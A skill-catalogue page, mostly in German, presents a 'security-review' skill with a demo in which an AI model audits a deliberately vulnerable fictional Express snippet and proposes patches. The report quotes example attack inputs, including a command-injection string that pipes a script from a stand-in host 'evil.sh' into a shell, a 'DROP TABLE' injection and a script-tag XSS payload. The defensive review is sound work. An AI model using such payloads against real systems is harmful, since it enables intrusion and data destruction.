Start / Skills / Entwickler-Produktivität / Sicherheitsprüfung von Code (Security Review)
Entwickler-Produktivität

Sicherheitsprüfung von Code (Security Review)

awesome-copilot communityMITSprache des Skills: Englisch
Lizenz geprüftKeine SkripteHohes Risiko
DemoEchter Lauf · claude-sonnet-5-5 · Oktober 2026
Using the security-review skill, review this small fictional Express snippet. Treat it as the whole project. File server.js: const express=require("express"); const app=express(); const db=require("./db"); const STRIPE_KEY="sk_live_FAKE_EXAMPLE_NOT_A_REAL_KEY_1234"; app.get("/user", (req,res)=>{ db.query("SELECT * FROM users WHERE id = "+req.query.id,(e,r)=>res.send(r)); }); app.get("/page",(req,res)=>{ res.send("<h1>Hello "+req.query.name+"</h1>"); }); app.get("/run",(req,res)=>{ require("child_process").exec("ping -c1 "+req.query.host); res.end(); }); app.listen(3000). File package.json dependencies: lodash 4.17.15, jsonwebtoken 8.5.0.
Skill: security-review
Read: references/report-format.md
Read: references/vulnerable-packages.md
Read: references/language-patterns.md
╔══════════════════════════════════════════════════════════╗
║           🔐 SECURITY REVIEW REPORT                      ║
╚══════════════════════════════════════════════════════════╝
Project: skill-trial (fictional snippet)   Scan Date: 2026-10-05
Scope: server.js, package.json (the whole project)
Languages: JavaScript (Node.js)   Frameworks: Express
┌──────────────┬────────────────┐
│ 🔴 CRITICAL  │ 3 findings     │
│ 🟠 HIGH      │ 2 findings     │
│ 🟡 MEDIUM    │ 1 finding      │
│ 🔵 LOW       │ 2 findings     │
│ ⚪ INFO      │ 2 findings     │
├──────────────┼────────────────┤
│ TOTAL        │ 10 findings    │
└──────────────┴────────────────┘
Dependency Audit: 2 vulnerable packages
Secrets Scan: 1 exposed credential

The snippet is a single line, so locations are given by route instead of line number.

Injection

🔴 CRITICAL: SQL injection (Confidence: HIGH)
📍 server.js, GET /user

db.query("SELECT * FROM users WHERE id = "+req.query.id, ...)

⚠️ req.query.id goes straight into the SQL string. An attacker can dump or modify any table, for example /user?id=0 UNION SELECT .... If ./db allows stacked queries, they can also run ; DROP TABLE users. Express can also parse id[]= into an array or object, which makes the input shape unpredictable.
📚 OWASP A03:2021

🔴 CRITICAL: OS command injection (RCE) (Confidence: HIGH)
📍 server.js, GET /run

require("child_process").exec("ping -c1 "+req.query.host);

⚠️ exec runs the string through a shell. /run?host=1.1.1.1;curl evil.sh|sh gives remote code execution as the server user. The response doesn't echo the output, but the attack still works blind, and it can use reverse shells or DNS exfiltration. The endpoint is also unauthenticated.
📚 OWASP A03:2021, CWE-78

🟠 HIGH: Reflected XSS (Confidence: HIGH)
📍 server.js, GET /page

res.send("<h1>Hello "+req.query.name+"</h1>");

⚠️ res.send with a string sets Content-Type: text/html, and name is not escaped. A link such as /page?name=<script>…</script> runs script in the victim's session on your origin.
📚 OWASP A03:2021, CWE-79

Authentication and access control

🟠 HIGH: Missing authentication/authorization, with excessive data exposure (Confidence: HIGH)
📍 server.js, GET /user (and /run)
⚠️ No authentication middleware exists anywhere. Anyone can request any user ID (IDOR) and receive the full SELECT * row. That likely includes password hashes, emails and other PII. Sequential IDs make enumeration easy. jsonwebtoken is in package.json but is never used.

Error handling

🟡 MEDIUM: No error handling on the DB call (Confidence: HIGH)
📍 server.js, /user callback (e,r)=>res.send(r)
⚠️ The error e is ignored. On failure r is undefined, so the request hangs or returns an empty response. If you "fix" this by sending e, you would leak SQL error text, which makes the injection easier to exploit. Log the error server-side and return a generic 500.

Hardening

  • 🔵 LOW: No security headers. helmet() is missing, and there is no CSP, which would have limited the XSS. (Confidence: HIGH)
  • 🔵 LOW: No rate limiting on any endpoint. /run can be used to flood other hosts. (Confidence: HIGH)

🔑 Secrets and exposure scan

🔴 CRITICAL: Hardcoded Stripe live key (Confidence: HIGH)
📍 server.js, top of file

const STRIPE_KEY="sk_live_FAKE_EXAMPLE_NOT_A_REAL_KEY_1234";

The sk_live_ prefix marks a live secret key. Anyone with repo access can issue charges and refunds and read customer data. The key is also unused in this snippet, so it is dead weight with real risk. This one is a fake example, but a real key in this position would need these steps:

  1. Rotate the key in the Stripe dashboard.
  2. Load it from process.env.STRIPE_KEY.
  3. Keep .env out of git.
  4. Check git history with git log --all -p | grep sk_live_, and purge it with git-filter-repo or BFG if it appears.

📦 Dependency audit

  • 🟠 HIGH: [email protected] is below 4.17.21.
    • CVE-2020-8203: prototype pollution in zipObjectDeep, fixed in 4.17.19.
    • CVE-2021-23337: command injection via _.template.
    • CVE-2020-28500: ReDoS.
    • Fix: npm install [email protected]. The snippet doesn't call lodash, so exposure is conditional, but the version is still vulnerable.
  • 🟠 HIGH: [email protected] is below 9.0.0. It has algorithm and key-confusion weaknesses (CVE-2022-23529, CVE-2022-23539, CVE-2022-23540, CVE-2022-23541). Fix: npm install jsonwebtoken@9. Always pass an explicit algorithms: [...] list to verify.
  • ⚪ INFO: express and ./db are required in code, but express isn't listed in package.json, and there is no lockfile. The app won't install cleanly, and versions can't be audited or pinned.
  • ⚪ INFO: lodash and jsonwebtoken are declared but unused. Remove them if they aren't needed, which shrinks the attack surface.

🛠️ Patch proposals

⚠️ Review each patch before applying. Nothing has been changed yet.

Patch 1/4: SQL injection in /user

// BEFORE
db.query("SELECT * FROM users WHERE id = "+req.query.id,(e,r)=>res.send(r));

// AFTER: parameterized query, selected columns only, and error handling
// (placeholder syntax assumes mysql-style `?`; use $1 for pg)
db.query("SELECT id, name FROM users WHERE id = ?",[req.query.id],(e,r)=>{
  if(e) return res.sendStatus(500); // don't leak DB errors
  res.json(r);
});

Patch 2/4: Command injection in /run

// BEFORE
require("child_process").exec("ping -c1 "+req.query.host);
res.end();

// AFTER: no shell (execFile), validated input, "--" ends option parsing
const net=require("net");
const host=String(req.query.host);
if(!net.isIP(host)) return res.sendStatus(400); // allow-list: IPs only
require("child_process").execFile("ping",["-c1","--",host],()=>res.end());

Also put this route behind authentication, or remove it.

Patch 3/4: XSS in /page

// BEFORE
res.send("<h1>Hello "+req.query.name+"</h1>");

// AFTER: HTML-escape output (or use a template engine with auto-escaping)
const esc=s=>String(s).replace(/[&<>"']/g,c=>({"&":"&amp;","<":"&lt;",">":"&gt;",'"':"&quot;","'":"&#39;"}[c]));
res.send("<h1>Hello "+esc(req.query.name)+"</h1>");

Also add app.use(require("helmet")()).

Patch 4/4: Hardcoded secret

// BEFORE
const STRIPE_KEY="sk_live_FAKE_EXAMPLE_NOT_A_REAL_KEY_1234";

// AFTER: read from the environment; rotate the old key
const STRIPE_KEY=process.env.STRIPE_KEY;

The missing authentication finding needs a design decision, so I haven't written a patch for it. Add auth middleware (for example, verifying a JWT with jsonwebtoken@9) and check that req.user.id matches the requested ID or the user is an admin.

⚡ Next steps

  1. Rotate the key, then fix the SQLi and command injection first.
  2. Add authentication, then fix the XSS and upgrade the dependencies.
  3. Add helmet and rate limiting, and commit a package.json with all dependencies plus a lockfile.

💡 This is a static review of the snippet as given. I couldn't see ./db, so the SQL placeholder syntax and stacked-query behavior are assumptions.

Real run in an isolated folder with only this skill installed. Only the Skill and Read tools were enabled, so nothing was fetched from the web and no file was written. The example is fictional. The code is a short fictional snippet with an obviously fake key; the model opened three of the skill's reference files and changed nothing.

Was es macht

Scannt ein Projekt oder einen Pfad auf Sicherheitsprobleme in JavaScript, TypeScript, Python, Java, PHP, Go, Ruby und Rust. Es prüft Abhängigkeiten gegen eine kuratierte Beobachtungsliste, sucht fest codierte Secrets und offengelegte Zugangsdaten und untersucht dann Injection (SQL, XSS, Command), Authentifizierung und Zugriffskontrolle (IDOR, JWT, CSRF), Datenverarbeitung (SSRF, Path Traversal, Deserialisierung), Kryptografie und Fehler in der Geschäftslogik und verfolgt den Datenfluss über Dateigrenzen hinweg.

So funktioniert es

  1. Das Modell legt den Umfang fest und lädt sprachspezifische Muster.
  2. Es prüft Abhängigkeiten, sucht Secrets, führt den Tiefenscan und die dateiübergreifende Datenflussanalyse aus.
  3. Es prüft jeden Fund erneut, um Fehlalarme zu senken, bewertet Schweregrad (von kritisch bis Info) und Sicherheit und schreibt einen nach Kategorien gruppierten Bericht.
  4. Für kritische und hohe Funde zeigt es Code vorher und nachher und stellt klar, dass noch nichts geändert wurde.

Geeignet für

Den eigenen Code vor dem Release prüfen, den Bereich eines Pull Requests kontrollieren oder ein Repository schnell sichten.

Hinweise & Risiken

Bitte zuerst lesen: Um Secrets zu finden, weist der Skill das Modell an, ALLE Dateien zu scannen, auch `.env`, Konfiguration, CI- und Infrastrukturdateien, und es gibt keine Regel, die echte Werte maskieren lässt; echte Schlüssel können daher in Ihrer Unterhaltung oder im Bericht landen. Begrenzen Sie den Umfang auf einen Ordner, entfernen oder rotieren Sie echte Secrets, oder arbeiten Sie an einer Kopie. Es ist reine statische Analyse: Ihr Code wird nicht ausgeführt, Patches werden nur gezeigt und nie angewendet. Der Bericht kann Befehle wie `git log --all -p | grep` und Werkzeuge zum Umschreiben der Historie vorschlagen; führen Sie sie nicht aus, ohne sie zu verstehen. Die Abhängigkeitsprüfung beruht auf einer festen Beobachtungsliste, nicht auf einem Live-CVE-Feed. Ein professionelles Sicherheitsaudit ersetzt es nicht.